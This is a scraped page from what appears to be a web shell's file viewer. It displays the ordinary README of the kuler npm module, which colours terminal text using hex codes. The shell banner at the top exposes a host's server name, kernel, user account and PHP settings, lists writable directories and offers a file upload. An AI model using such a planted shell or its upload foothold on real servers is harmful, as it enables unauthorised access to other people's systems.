Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/node-socket/node_modules/kuler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/node-socket/node_modules/kuler/README.md
# kuler

Kuler is small and nifty node module that allows you to create terminal based
colors using hex color codes, just like you're used to doing in your CSS. We're
in a modern world now and terminals support more than 16 colors so we are stupid
to not take advantage of this.

## Installation

The package is released in the public npm registry and can be installed by
running:

```
npm install --save kuler
```

## Usage

To color a string simply pass it the string you want to have colored as first
argument and the color as hex as second argument:

```js
'use strict';

const kuler = require('kuler');
const str = kuler('foo', '#FF6600');
```

The color code sequence is automatically terminated at the end of the string so
the colors do no bleed to other pieces of text. So doing:

```js
console.log(kuler('red', '#F00'), 'normal');
```

Will work without any issues.

## License

[MIT](LICENSE)

ZeroDay Forums Mini